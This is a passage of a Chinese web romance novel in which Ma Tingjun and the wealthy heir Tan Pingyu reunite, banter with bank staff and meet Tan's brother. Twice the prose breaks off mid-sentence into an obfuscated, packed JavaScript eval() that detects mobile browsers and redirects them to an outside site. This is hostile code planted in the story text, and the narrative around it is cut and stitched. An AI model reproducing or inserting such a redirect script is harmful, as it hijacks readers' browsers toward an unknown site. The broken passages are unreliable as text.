谈凭玉轻笑一声,再道:“你这几年真是单身,一点再找的念头都没有?” 麻霆君道:“有什么好找的,我都打算孤家寡人一辈子了。” 谈凭玉道:“哦,俞平还不错?一直念念不忘的。” 麻霆君便道:“四爷的眼光什么时候差过。” “俞平都陪过你了,怎么一点本领都没有?”谈凭玉拧着他的面颊,不满道,“你刚才这么卖力,我只觉得有点痒。” 麻霆君不承认,撑床沿起身,要再把谈凭玉抱起来。谈凭玉干脆站到地上,踩进一双皮鞋。 麻霆君扑了个空,更加诧异。看他伸手系皮带,便哀哀地道:“我还没好……” 谈凭玉道:“这么多年都挺过来,也不差我这一次了。” 出去以后不止有人向他问好,一声声的“四爷”能铺成一条走廊。他有些庆幸方才没由麻霆君胡闹。再找到詹兰竹,装作无事发生,道:“我和霆君的比赛中断,后来怎么样了?” 詹兰竹道:“不比了,大家都感动死了,等你回去发表演讲。” 话音刚落,便有眼尖的人物发现谈凭玉,立刻把他围得水泄不通。 “四爷您太绅士了,我今天才知道什么叫做‘友谊第一,比赛第二’。” 谈凭玉迫切地想脱身,双手合十,口中抱歉的话语没停止过,很不体面地钻出包围圈。留詹兰竹替他应付,大概又要收不少名片。 远远眺望一眼,看台上更加热闹,必然是回不去了。他不信偌大的赛马场没有他的容身之处,事实却是当真没有,只好钻了医务处的后门,回到诊室。 床上空空如也。 “四爷真是追求者无数啊。”身后幽幽一声。 回过头看见麻霆君。麻霆君貌似平和不少,他才微微安了心,道:“你不拦一下?” 麻霆君道:“我怎么拦?光是他们一人一只脚,能把我踩死。” 谈凭玉便道:“感情好,我怎么有信心叫你和我恋爱?” 麻霆君笑道:“你们之前合起伙来骗我,讲你是什么情人,什么下三滥下九流的,多难听。可我一点也不在意。现在一点小事算什么?没人向你示好才奇怪。” 谈凭玉一时语塞,木木地盯着他。麻霆君见他发懵,又觉得他可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“重要吗?”麻霆君更是激动,“重要的是我已经受伤了,不管是俞平还是凭玉,我都没有相信你、没有爱你的能力了!” 他不相信,一只手往下捉,道:“这是什么?” 麻霆君被扎破似的泄了气,后退几步,憋屈道:“我不但是个男人,还想了你这么多年,好不容易再见到了,你不能让我一直清心寡欲下去。” 谈凭玉当即趁火打劫,道:“你答应通过对我的考验,我帮你弄。” “你以前对我多严格……你怎么能这样!” “是你自己非要来喜欢我!” “还怪我?” 谈凭玉上前几步,主动抱着他,安抚道:“霆君,我向你保证,我不会再离开你了。” 麻霆君盯他一阵,倏地低下头,闷闷地道:“你在鹭镇常拿四爷的名头吓唬我,我又是真的害怕。来枢城三年,每天提心吊胆的,哪怕是现在,凭良心讲,我也不太敢叫你的名字。” 谈凭玉诧异道:“就是因为这个?” “谈凭……”麻霆君非展示给他看不可,突如其来叫他一轮,又有些刻意。中途不知是没有勇气还是害羞,咬断尾音,只道,“能不能就叫‘谈凭’,方便我一些……以后再改。” 谈凭玉温柔一笑,吻他的脸颊,道:“就算你永远叫我俞平,我也不会生气的。” 麻霆君立刻道:“这不合规矩!俞平是俞平,你是谈四。” “有什么区别?” “你不懂的。” “什么?” 他怀抱麻霆君的力度越来越小,麻霆君哆嗦一下便挣脱了。双手作揖,僵硬笑着,打马虎眼:“您懂,您懂。是小人我天生愚笨,小人什么都不懂。” 谈凭玉有些气急败坏,道:“麻霆君,你能不能正常一点?” “我想好了:我很爱你,也愿意答应。我们重新在一起。” “不行,哪有这么草率的?” 麻霆君也知道自己做错了事,扯出一个笑,道:“请四爷明示。” 谈凭玉撇过头,道:“你要是一直这么和我说话,我绝对不可能喜欢你的。” 麻霆君佯装惊讶,道:“我还能有如此殊荣吗?” 末了看谈凭玉真不高兴,连忙哄道:“我再考虑一下。” 谈凭玉不给他赏好脸色看,瞪他一眼,撞开他的肩膀往外面走。 “我走了。” 见他没反应,谈凭玉停顿脚步,回头恶狠狠地道,“我走啦!” 到底是还爱着的——麻霆君低头笑着,快步踩在他身前,把他揽在怀里亲吻半晌。他退出麻霆君的唇齿间,立刻陷进麻霆君的眼眸之中,于心不忍,却又恨铁不成钢: “笨死了!” 97.俞平 平渝银行难得小有起色,却歇业将近年关,才提心吊胆开了门。 讲起来倒是行长高瞻远瞩,虽是秋季小赚一笔,不过些蝇头小利,也不好贪得无厌,要见好就收。麻霆君自发给职员们开培训,定在自家客厅。 只有住在一起的胖子瘦子满勤,另两位消极怠工,哪怕楼上楼下,照样不肯大驾光临。 重新开业,不说精神面貌,外在的也要焕然一新。银行门口增设了方桌与长凳,送热姜茶给行人喝。 谈凭玉脚步顿在门前,不受控制地睨了眼,自己的身影倒映在杯盏之间。 三年前从鹭镇回来,他在布店的行李拢共装不满一车,光是堆在家里,一直没心情整理。这阵子重新追究,只找出两个白贝母耳坠子,更加黯淡了,实在没法戴; 至于麻霆君给他订的四季衣物,因为都出自一家裁缝铺,混进他的衣帽间,也忘记究竟是哪几件,只记得有个短小的毛领,便随手摸了件带毛领的,做回小白狐狸。 他把头发揉乱,摁了门铃。 “有人的,请进!”一声嘹亮的嗓门,中气倒是足。 传来一阵朝门口奔来的脚步,沉闷地凿着地板。谈凭玉不等他来迎接,推开了门。 “俞平?” 真是好久没见,胖子比原先缩了一圈,仍可以称胖子——与谈凭玉打上照面,霎时浑身发抖,涕泪横流。喃喃地道,“俞平!” 简直比麻霆君都激动。谈凭玉心里犯嘀咕,不免心虚一笑,道:“是我。我回来了。” 胖子一把将他搂在怀里,好一阵才松开,双手攀着他的肩,从头到脚仔仔细细打量一番才肯罢休。 “能再见到你真是太好了,前阵子大家都以为你出事了,我就知道是假的!多久没联系,又不是不知道我们银行开在哪里。不打电话,也不写封信来?” 胖子感慨道,“哎呀,俞平,你比之前神气多了!” 谈凭玉难以应付他的热情,光微笑着不说话。 胖子抹一阵眼泪,看他衣着光鲜,才想到物是人非,心寒几分。有些小心地道:“小俞平……你还和我们五爷好吗?” 谈凭玉道:“我就是为这事来的,霆君呢?” 胖子大喜过望,大喝道:“麻霆君!” 朝楼梯口喊,不见人来应答。平渝银行就五个人,另两个家里阔的都去准备过年了,也不知道麻霆君和瘦子在楼上捣鼓什么,迟迟不下来。 胖子眉头一皱,先哄着谈凭玉,道:“你放一万个心,麻公馆上上下下都向着你,还有我和瘦子帮你监督,容不得他胡闹。何况他爱极了你!你不在的日子,他天天都念叨你。” 谈凭玉装着惊讶,道:“还有这种事?我当他不喜欢我了。” 情急之间,胖子讲话也糙:“你乱想了,我们五爷就是狗,一辈子就认一个主。” 他往地上一跺脚,姑且把谈凭玉安顿在沙发上,又是沏姜茶,又是拆点心盒子。 谈凭玉捧一碗姜茶暖手,听胖子火急火燎地上楼。 他好久没来银行,原本预备收债的时候一并来了,哪知道谈行一大病初愈,防着他会情郎,去什 么地方都要跟着一起。活动多了,被风刮得新得了流感,才放他喘口气。 一旁熏着香,闻着头晕。 茶几上的干花早撤掉了,换了赛马会得来的奖杯。友谊赛的奖杯有两个,他忘记有这码事,没想到麻霆君一起领回来了,两个整齐地排在一起。叫人微微有些安心。 二楼鸡飞狗跳一阵,楼梯上连滚带爬地挤了三个人。瘦子落在最后,看不见他,便一声一声“俞平”,哇啦哇啦鬼叫。 麻霆君被挤在最前面,几乎是跳下来的。好不容易站稳,看清他恬淡,微微一怔,道:“今年的款子才给单龙,你来我这里干什么?又没过年。” 但他面颊上绯红,谈凭玉再熟悉不过了,不是为自己动心是什么?便微笑着道:“阿龙说银行重新开业,我也想支持。我来开户,行长不会不欢迎我吧?” “开户?”麻霆君宁死不肯信,却也反驳无能,扫他一眼,道,“你怎么穿成这样?” 谈凭玉道:“我还能穿成什么样?” “可这是以前的衣服?” “不能穿了?” 麻霆君犹豫片刻,单膝跪在他身旁,诉苦道:“祖宗,你要闹别在这里闹,我们要工作的。” 胖子瘦子预先设想了一出鹊桥相会,没想到他们针锋相对——不约而同地把麻霆君推翻在地上,怒气冲冲地开口。 胖子道:“五爷你混蛋王八蛋!当初立下海誓山盟,现在不让俞平来银行?” 瘦子道:“五爷你真不是东西!当初谁非俞平不娶,现在对俞平什么态度?” 麻霆君有口难开,挣扎着爬到谈凭玉边上。谈凭玉不受控制地摸他的头,笑道:“你没告诉他们?” 麻霆君道:“我都没完全接受,又怎么和他们开口?” 谈凭玉道:“我不明白,有什么难接受的?” 麻霆君委屈道:“你当然不明白!自从我十八岁被你带人打过一顿,我一直都害怕你!” 胖子瘦子蒙在鼓里,火冒三丈,见状要来打麻霆君。 谈凭玉头顶上伸来四只胳膊,一时又心酸又好笑,不肯坐在中间当障碍,起身把胖子推在前面做庇护,又向瘦子装可怜,道:“我明白了,是我见不得人,以后不来打扰了……” 麻霆君哀声道:“说什么话——祖宗,你是我的祖宗!” 胖子踩麻霆君的脚,凶道:“什么说什么话,能说什么话?你还想要怎样?对俞平什么态度?” 瘦子便亲昵地搂着俞平,柔声道:“我家五爷被孤魂野鬼上身了,你别和他计较,我们帮你教育他。边上有糕饼铺,去买些零嘴吃么?他等一下就变好了,我们再回来。” 谈凭玉倒靠在瘦子怀里,双手掩面,嘴里发着呜咽的声音。麻霆君不愿看他蛊惑人心的过程,也不想他和瘦子混在一起,上前掰瘦子两根胳膊。 瘦子凶神恶煞道:“麻霆君,你敢把他赶出去,我要跟你拼命!” “你没资格碰小俞平!”胖子接替了瘦子的活计,牢牢护着俞平,轻轻拍打他的后背。 麻霆君愁眉苦脸,很见不得人似的,压低声音道:“中间有些瓜葛,来不及和你们讲。” 瘦子道:“什么瓜葛?” 麻霆君道:“让我想一想,怎么讲能让你们接受。” “俞平是被迫无奈……可你不是早知道,还发誓一定对他好!不会是你成天往外跑,相中了哪里的高枝,嫌人家出身低吧?” 胖子大呼小叫道,“麻霆君,你这个抛弃糟糠之夫的负心汉!你比陈世美还坏!” 谈凭玉扑哧一笑,立刻装着抽噎几声。 麻霆君看他得逞,一时瞋目结舌,好不容易挤出几个字:“我没有!” 眼见他们三人其乐融融,快成一家人了。麻霆君秉持最后一丝希望,大声道:“停一停,你们不觉得他熟悉吗?” 瘦子急道:“废话,他是俞平!” 胖子怕谈凭玉伤心,不敢多说,只道:“亏你和他夫夫恩爱一场……” 又哄谈凭玉道:“不是说要开户?小俞平跟我们走,我们对你好。” 一行人来到柜台前,胖子来到谈凭玉的对面,把“郁蕙心”的立牌换成“麻胖”,笑得发自真心。 “小俞平,我们都是亲人,可银行有它的规矩,我们正规经营,不好偷工减料。”他捏着嗓子和声细语,又假意正经地咳嗽一声,道,“这位先生,您贵姓?” “谈。” 胖子闻言,脑后阴风阵阵,当是被人拿枪指着,心里想了万千种可能,斗胆问道:“是谈先生请你来的?” 谈凭玉微笑道:“鄙人谈凭玉。” 话音刚落,翡翠扳指便拍了上桌。 胖子闻言,看谈凭玉,仿佛见证他活生生从人化成了一只狐狸。胖子有庞大体格支撑,尚能四分五裂,瘦子只剩下一堆白骨。 “祖宗。”麻霆君追过来,从背后搂着他,道,“祖宗、宝贝、心肝,你还不知道他们什么性子?太胡来了,他们要被你吓死的。” 谈凭玉敲敲桌子,倒仰着脸,朝麻霆君道:“你说给你时间思考,我姑且算答应了——你躲了我几天?” 麻霆君讪讪道:“就是因为没有想好,所以不敢见你。” “要和我分开?” “不是,绝对不是!” 胖子瘦子担忧他言多必失,把他架上二楼。瘦子最后回头,赔笑脸给谈凭玉,道:“皇上,您再喝点茶,我们几个商量一下。” 锁了办公室,三人坐成一圈,还惊魂未定。面面相觑一阵。 胖子先道:“颜二爷知道吗?” 麻霆君道:“应该不知道 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胖子道:“五爷,当年谈凭玉失踪,你图人家赏金,巴不得搬去滩涂上住。现在人家整个人都归给你了,你要打个金滩涂,不过是他眨眨眼睛的事情。” 瘦子数落道:“什么谈凭玉,人家可是九五至尊谈四爷。” 胖子邪淫一笑,道:“什么四爷,人家正儿八经来和我们五爷续前缘。” 瘦子也笑,道:“我当年没看走眼,他真是狐狸精,现在来报恩啦!” “要是成了,我们五爷再不是麻家五爷,也没有‘年方二六,仪表堂堂’。” 胖子一顿,等那两人一个好奇,一个骇然,总归都看向他了,才揭晓道,“五爷是‘五湖四海第一赘婿爷’。” 瘦子憋着笑。 “别添乱了。”麻霆君心力憔悴,道,“他问我什么考虑,我姑且没答应。” 胖子、瘦子,异口同声:“没答应?” 麻霆君耸拉脑袋,更往下点了点,道:“我拖他太久,所以他找上门来了。这大概是最后的机会,你们也帮忙想想,我该怎么办?” 胖子迫切道:“你这么爱他,为什么不答应?” 麻霆君只叹气,不说话。 瘦子喝道:“当年接手银行,一点蝇头小利,五爷您不肯放过;从了四爷,天大的好事,怎么不肯答应了?” 麻霆君才道:“我是想赚钱,是想带大家坐享荣华富贵,可飞得高,摔得更疼,正是因为他是四爷,我在枢城无依无靠,摔了也无处伸冤,心里更加没底了。” 瘦子鄙夷道:“你怎么敢保证他一定请你做正室?万一只是个姨太太?” 麻霆君眼睛一瞪,道:“一派胡言,你越来越无法无天了!” “五爷,你也知道你无依无靠,他凭什么放着那么多有权有势的男人不挑,偏偏就爱你?” 胖子嘿嘿一笑,又道,“这个四爷要是给我做,我一天纳一房姨太太,举国上下男男女女老老少少阿猫阿狗都不放过。” 瘦子道:“你这头猪真是愈发的骚了,谈公馆哪是淫窝?” 麻霆君一边一个把他们分开,道:“够了,别起内讧,快帮我想办法!” 瘦子道:“五爷,你和我们讲实话,要是给谈四爷做姨太太——我们大家肯定都支持你的,你愿不愿意?” 麻霆君道:“绝对不愿意。” 瘦子凑近,道:“正室呢?” 麻霆君犹豫道:“所以才来找你们商量。” 胖子道:“当初明知人家是只正儿八经的狐狸精,还是给少爷做情人的,我们劝了多少回,就是铁了心,每天热脸贴冷屁股地待人家好,‘平儿,平儿’地叫,还要和颜二爷绝交。那时怎么不知道和我们商量?” 麻霆君不语。 瘦子道:“要我就从了四爷,这样我们银行必然财源广进,大家明天不但能睡懒觉,也不用江东江南赶来赶去。” 麻霆君才道:“滚。一天到晚净想好事。” 胖子瘦子各自帮麻霆君酝酿主意,因为太馊了,开口前要先看过麻霆君脸色,再决定剔多少出去。麻霆君闷头等他们凌迟,等不来响声,抬眼看他们脸上神色都暧昧。 谈凭玉斜斜搭在门框上,对他们三个人微笑。 “我的五爷,我保证,我一辈子就对你一个人好。” 98.旧忆 因为是谈文翡留下的品味,平渝银行一切装潢服务于美观,楼梯建得窄,这几年被他们踩来踩去,嘎吱嘎吱地响,又请不起木匠保养。不知道谈凭玉怎么上的楼?飞上来的?倒不可能。总不是被盛在心里一同行动的——真成狐狸精了,悄无声息。 麻霆君暗暗吃惊,不敢开口。 谈凭玉道:“我保证给霆君一个正经的名分,保证绝无二心。二位大哥,满意吗?” “满意、满意。”胖子瘦子揣着手,猫着腰出了办公室。 谈凭玉飘到麻霆君身前,对面对坐下。道:“霆君,我知道你有骨气,也知道你很有担当、很有本领,这些我在鹭镇的时候就知道,你不用一直和我证明。” 麻霆君沉默着。他撬不开麻霆君的嘴,带些无可奈何,却没有要责怪的意思。牵着麻霆君的手,大拇指指腹摩挲起掌心。 “我十八岁的时候,爸爸考虑下一任家主。我道行浅,可是爸爸最偏心我,所以很多人不希望我活着。侥幸捡回一条命了,格外要谨慎。” 他说得诚恳,声音却不止颤抖,道,“我是想慢慢和你坦白,又怕你知道了心急,再来添乱。暗示你过几次,你没听出来,只好作罢了。” 麻霆君道:“我没有因为这件事怪过你。” 谈凭玉才踏实不少,挪得离他更近,勉强微笑着,道:“后来去了香岛,香岛有新政,势力盘根错节。我又是枢城过去的,年纪小,更加立不住脚了。很多人都盯着我,我怕你被牵连,不敢和你联系。” 麻霆君抽回手,谈凭玉心里一惊,生生把话断在嘴边。他犹豫片刻,主动握着谈凭玉,道:“为什么要不告而别?” 谈凭玉松了口气,为难地道:“如果让你知道,我怕我就走不掉了。” 又赶紧道:“我在香岛做得小有起色,好不容易能够维持平稳了,马上赶回鹭镇。但大家都说你死了……” “要是一开始就知道你是谈四,我不会来追求你的。”麻霆君打断他,起身站到窗边。 谈凭玉忙追过去。他不肯面对谈凭玉,只木木盯着窗外一排梧桐树。 谈凭玉压着窗帘,道:“为什么?” 麻霆君木木道:“你这次能在我身边留多久?” 谈凭玉道:“我不会走了,霆君。” 麻霆君一声不吭。他心里又急又怕,晃着麻霆君的手臂,夹着几分哭腔道:“霆君!” 麻霆君才道:“你们家是名门望族,一切都没有定数。利欲熏心的人太多,做什么都不稀奇。你不在的几年,我真的很痛苦,如果再叫我来一遍,倒不如从来没开始过。” 拒绝的势头太明显,谈凭玉却宁死不信,在他言辞的夹缝间寻安慰,道:“霆君,我现在比以前有权力,不用被推着走。不论多久,我都保证能够陪在你身边。” 麻霆君却道:“如果我不肯呢?” 谈凭玉唯独希望是自己听错了,然而一点惶急涌上心头,蔓延在全身,叫他止不住地哆嗦:“什么意思?” 麻霆君轻轻叹了口气,低头道:“这几年变故太多,我想了很久,我们根本不是一个世界的人,相遇都不应该,更不说是相爱了。” 他只用余光探着谈凭玉,看见一个不止打着寒噤的身形。外头吹来冷风阵阵,他伸手捞了锁扣,关窗的时候,难免扯到谈凭玉身下的窗帘布。 谈凭玉颤抖道:“麻霆君,你在说什么?你明明是爱我的!” “我也不是之前的我了。” 谈凭玉拧他胳膊。他的思绪仿佛一并锁在外头,身体茫然地绞起窗帘,感受不出痛。几秒钟过得像一辈子,不知道有多久。 谈凭玉直喘粗气。 “麻霆君,我不管你编什么谎话骗我,既然你不接受,我保证:我永远都不会来打扰你。” 谈凭玉怨怨瞪着他,放狠话,“银行的钱不用你还了,你说你这几年痛苦,我再赔给你。我们两清了!” 却不见有什么效果,麻霆君被抽走灵魂似的杵着。他失望透顶,不愿再迁就,转身要走——手腕被麻霆君捉住了。 “放手。”他低低地道。 麻霆君置若罔闻,他又恶狠狠道:“麻霆君,把手放开!” 他其实没力气讲话,心里太悲痛了,身体不堪重负,做什么都是拆东墙补西墙。声音一高,没力气憋眼泪,决堤般向外流。 他做好一刀两断的准备,不愿让麻霆君发现他哭。咬着下唇,但是不受控制地耸肩。 “凭玉!” 回过头来,有个怀抱迎接着他。他到底是爱着麻霆君的,一想是最后接触的机会,索性深深埋在麻霆君怀里,咬着肩膀上的布料。 麻霆君拍着他的后背,柔声道:“凭玉,不哭了,凭玉。” 他止不住泪水,只道:“麻霆君,你混蛋……” 麻霆君如释重负一笑,道:“我就是混蛋。如果我不是混蛋,最早就知难而退了,怎么会和你有现在?” 忽地仿佛眼泪往心里倒流,谈凭玉感受到心上暖洋洋的,却嘴硬道:“既然你说,‘你不是原先的你’,就快滚!” 麻霆君笑道:“可是看你哭,我实在是好心疼。等你不哭,我自然就滚了。” “用不着你来可怜我!”谈凭玉在他怀里象征性地挣扎一番,动作软和下来,柔弱道,“我不要你抱。” 他自然抱得更用力,道:“我的凭玉,我怎么舍得叫你走?” 有麻霆君来,好像什么都不重要了。谈凭玉被推着倒走几步,坐在办公桌上。麻霆君站在桌前,掰他两只膝盖卡着自己。 “都是我不好。”麻霆君捧着他的脸,轻轻地道,“你走的那天,我早上睁眼看见香囊丢了,就知道你一定来过,你是连夜走的。怪我睡得太熟,要是我能够把你牢牢抓住,我们都不用痛苦这么多年了。” 他脸上烫得头昏脑胀。麻霆君再要来吻他——更不敢想象自己的脸看着有多红。 麻霆君盯着他的眼睛,先扑哧一笑,再道:“先前有太多遗憾,我们做的都不够周全,凭玉,再给我一次机会。我一点一点再来弥补,好吗?” 方才还在悬崖旁,这时候忽然回春了。他被麻霆君半拘束着,躲不掉,只能微微低下头,晃着一双腿,逃避道:“你叫我‘凭玉’,听着好生疏,像是我的长辈。” “可我年纪就是比你大,确实是你的长辈?” “麻霆君!” “嗳。”麻霆君笑道,“我叫平儿总好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466602|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了——宝贝,平儿还是凭儿?” 谈凭玉道:“不要后面那个。” 麻霆君道:“你看,你心里就是有我的。” 谈凭玉不愿被他拆穿,往前踢却也只踢到一片空气。麻霆君更加得意,他推着麻霆君,道:“你真的是不想看我哭,才编一套鬼话出来?” 麻霆君笑道:“哎呀,你忘了?我们第一次出去,住友好饭店,你占尽我的便宜也不肯负责。我一哭,你就回心转意了。现在我也想看你哭一哭。” “有你这种人!”谈凭玉气急败坏,道,“我瞎了眼了,会喜欢你这种人!” “给你打,反正是我坏,我最坏。” 麻霆君再来亲他,道,“我要向你坦白了:刚知道你不是俞平,是凭玉,从小到大锦衣玉食,受过最大的苦头是来鹭镇和我相遇,我先前一切的心疼都是自作多情,虽然是被骗了,很受挫败,但我其实很高兴。” 又道:“做水手,做情人,无论做什么都都好,我唯独希望你可以一直幸福,凡是你喜欢的,我也喜欢,你不喜欢的,我就帮你一起找到你喜欢的。” 谈凭玉勾着他的领口,想吻他,却是力不从心。轻轻道:“讲这些话,是不是叫我更爱你一些?” 麻霆君更加灿烂:“你本来就是很爱我的,我又有些笨,多一寸,少一寸,我分辨不出来,当你非常非常——非常爱我!” “哪里来的这么多非常?我不做亏本生意。”谈凭玉笑道,“我只有非常非常爱你。” 二人兴高采烈地亲热一阵,吻了再搂,搂了再吻,好一阵子,谈凭玉从桌上跳下来,扯下挂在衣帽架上的长围巾,道:“霆君,我带你回家。” 麻霆君愣道:“别冲动!” 谈凭玉也愣。一跺脚,凶道:“你跟不跟我走?” 麻霆君姑且没回答,光是探头向前,等他来系围巾。他张牙舞爪一阵,又怕弄疼麻霆君似的,只摆出花架子;麻霆君看他可爱,心里更加喜欢,方才笑道:“你让我干什么,我就干什么,我是你的小狗。” 楼下两个人不见他们下来,又没胆子窃听,坐在一起闲谈天。回味起在麻公馆时常用的游戏。 “我来考考你。”胖子道,“天上的月亮,阴阴晴晴时圆时缺。” 瘦子绞尽脑汁对不出什么,不多时楼梯摇摇欲坠一阵,麻霆君领先在前头,道:“你们讲什么,叽叽喳喳不清不楚。” 他眼里这二人是莫名其妙地鼓掌道:“五爷文曲星上完身回来啦。” 谈凭玉落在后头,一踮一踮地走着。瘦子身高腿长,抢先看到他脸上红晕没散干净,咳了咳,笑道:“嗳,我们五爷不是五爷了。” 麻霆君作势要打他,听后头谈凭玉脚步轻重,又急忙撇下他去搂谈凭玉了。眼见麻霆君心情好,另两个不放过他,油腔滑调地齐声道: “谈四奶奶!” 麻霆君不应,却也不见得是不肯应。装着深沉道:“我和平儿出去一趟,银行交给你们负责,别出乱子。” 谈凭玉补充道:“晚点放他回来!” 胖子瘦子送他们出门,一人一个灿烂的笑脸: “恭喜四爷和四奶奶。” “贺喜四爷和四奶奶。” 99.相册 回到谈公馆正是晚上饭点前,下午有粤商来送礼,不知道哪里搜刮来的名贵食材,不好按海派来。厨子怕大家吃不惯,绞劲了脑汁要改良,传在公馆里,倒是热热闹闹的。 守门的一见是谈凭玉的车,也不例行检查,直接放行了。 管家恰好在门口,车停完便迎了上来。 “凭玉少爷,今天有人送鱼来,一半做广式,一半改良。不知道哪一种更对胃口?不过我看他们也是乱来,分什么一鱼两吃,莫名其妙。小少爷你舌头准,轮给你一锤定音。” 谈凭玉姑且没应,利落地下了车,小跑绕过车头,开副驾驶的门。麻霆君钻出来,面上喜气洋洋的,又有些拘谨,朝管家道:“您好。” 管家笑容一僵,道:“小少爷,他是?” “新来的保镖。” “我的恋人。” 二人异口异声得毫无默契。谈凭玉倏地一笑,扭头啄了口麻霆君的耳廓,把人拢到自己怀里。 “爷叔,他是麻霆君,我的恋人。” 他先前小范围澄清过花天酒地的谣言,唯恐管家当他好面子,只礼貌性相信。又补充道,“文翡在江南的银行不开了,交给他负责,我们那时候认识的。” 管家笑道:“四爷您的眼光好,以我多年的眼光来看,他一身正气,一定是个不错的青年。” 谈凭玉道:“爷叔,我信得过你——今天叫他来是临时兴起,你先帮我保密,谁问都不要讲。” 管家道:“小少爷放心。” 谈凭玉不给麻霆君留客套的时间,在他身后推着他走,一同奔上楼。急匆匆地到了二楼,先闪身进了一旁小房间。 麻霆君心里正困惑,挡不住楼下饭香,一时间改了主意,道:“你家这么早过年?” 谈凭玉道:“每天都这样。” 麻霆君眼睛微微瞪大,咬着下唇吃吃笑着,不说话。他作势推麻霆君一把,笑道:“以前镇上人明里暗里向我炫耀你家底丰厚,知道我是什么心情?” 有这种事?麻霆君闻所未闻,不好意思道:“真对不住,你是谈凭玉,做梦都不可能这么想。可他们应当是想叫你安心的,你别介意。” 谈凭玉笑道:“嗳,我高攀的可是五爷。” 他转身开了桌上一盏台灯,有些就此安顿下来的意味。麻霆君才道:“你把我拐回家,不肯让家人知道,还要把我关在这里。我现在跑还来得及?” “跑什么,跑什么?”谈凭玉关严实窗帘,才道,“我有别的事情要告诉你,你心急什么?家人迟早要见的,今天真是太不正式了。” “怎么想到带我来?我那银行多有情调,你要是介意,我请胖子瘦子去茶楼酒楼一坐。” “麻霆君,你脑子里都是什么!” 谈凭玉翻了脸,手指头往他眉心戳,再要来下重手。看他脸上绷不住笑,倒是只剩下无奈,道: “我先去收拾房间,你在这里等我。要是饿了,出去随便找个人,报我的名字。” 麻霆君笑道:“都肯放我出去找人,至于大费周章把我关在这里?” 谈凭玉道:“当是我任性,你依了我——好了,就这样说定了。” “被发现了怎么办?” “迟早要发现的,随你出去乱跑。不过他们要是向你炫耀起家底,我可是只会点头附和的,你不难受就好。” 麻霆君嬉笑着道几声“平儿”,把他环在怀里,吻得心满意足了才放他走。躲在门口看他背影消失干净,再回房间,无所事事地翻桌上外文书。看又看不懂。 外头传来一阵骚乱,麻霆君条件反射想要躲藏,果真看一旁木柜有半人高,正方便他。 心里却隐隐约约有股逆反的念头——凭什么?他是麻家五爷、茶叶商贩、银行行长、贝琴公寓房主、商会会员,谈凭玉的恋人!有什么见不得光的? 自己与自己僵持时候,门还真被推开了,进来一位年纪相仿的少年,头发有些长,依稀辨出俊秀眉眼,与谈凭玉有四五分相似。麻霆君在赛马会上远远看见这病怏怏的身子,没想到是谈三爷谈行一。 谈行一见到他,大抵是当作仆欧之类,没给足他设想中的反应。单是淡淡问道:“凭玉呢?” 麻霆君强装着寻常,道:“凭玉在卧室。” 谈行一扫他一眼,眼皮轻轻跳了跳,道:“你是?” 保镖!麻霆君一句“保镖”呼之欲出,却又不敢讲。那天赛马会,众目睽睽,他和谈凭玉相处那么久,大家最会捕风捉影,他不相信大家看不出来,何况是谈行一。 “我是凭玉……”话到嘴边改了口,打个马虎眼,道,“我是凭玉少爷新雇的保镖。” 谈行一惊讶道:“凭玉把我的单龙掰走了,还请什么保镖?” “是。”麻霆君先应付着,努力顺着他的话茬,道,“说是三爷金贵,老的保镖熟悉三爷,在他这里也没什么用武之地,他预备给人家还回去。身边一时青黄不接,才想到新雇。” 谈行一便道:“哦,竞选的人应当不少,他是怎么相中你的?” 一见钟情! 就是一见钟情! 麻霆君讪讪道:“还没有相中。正考察着。” 谈行一道:“那么,你是第一天来?” 麻霆君点头。他笑道:“凭玉太单纯了,看不准人,随随便便来个登徒子,登徒狗,尾巴一甩就把他拐走了——我难伺候,我帮他把关。” 听得麻霆君后背发凉,隐隐知道是指桑骂槐地骂自己。但毕竟是谈三爷,只有勉强装高兴,恭维几句,随谈行一一同上楼。 楼上一层住人,少爷的房间大抵是排在一起的。他想到谈凭玉,贼心不死,一双眼睛止不住往边上瞟。谈行一往回睨他一眼,他心虚,更要装得无事发生,低低地看着脚步。 听得出谈行一嘲笑他。扶着门把手。 他不敢想象谈三爷的房间如何,莫非像神话故事,开门便是一房金灿灿的奇宝?开眼界了,连自卑的资格都不能有,愈加忐忑不安,斗胆道:“三爷,这是什么意思?” 谈行一不理他,管自己往床上一坐,裹了毛毯,蜷得舒服了,才道:“我们凭玉是家主,这事你知不知道?” 麻霆君道:“是吧。” “什么‘是吧’,你连这个都不知道,他怎么敢雇你?” 谈行一道,“留你一顿饭,吃过去领钱,明天不要来了。有这么推板,他眼光差成这样了?香岛那群外乡人是有多差劲,害他大费周章?” 麻霆君支吾着,他上下扫麻霆君的眼神明显,叫麻霆君更答不上来了。他嗤笑道:“我们凭玉不愧是花街吃酒,从头能吃到尾的。年纪大了不比小时候可爱,吃喝玩乐的心思都起来了。” 不愧是谈凭玉的哥哥!麻霆君直打退堂鼓,又不好露怯。道:“三爷,我是正经人——寻常人。” 谈行一笑道:“寻常人就是侥幸被凭玉放进来了,总有别人还明事理。不知道单龙这么愿意和你交班?我看你是有一技之长的,比方说?” 麻霆君心一横,道:“三爷,我会讲外语。” 谈行一两只脚并在一起,往后面退,摸出一本硬皮书,丢在床沿。 “《唐吉柯德》,从夹着书签的页数读。” 麻霆君硬着头皮上阵,顺缝隙拨开页码,一个单词都看不懂,磕磕巴巴读了一段,上下两瓣唇张开来并拢去,天都要塌了。 谈行一终于喊了停,道:“读的什么东西?” 麻霆君窘迫道:“我英文不太好。” 谈行一道:“他去香岛,你应该会讲葡萄牙语?” 麻霆君摇头。 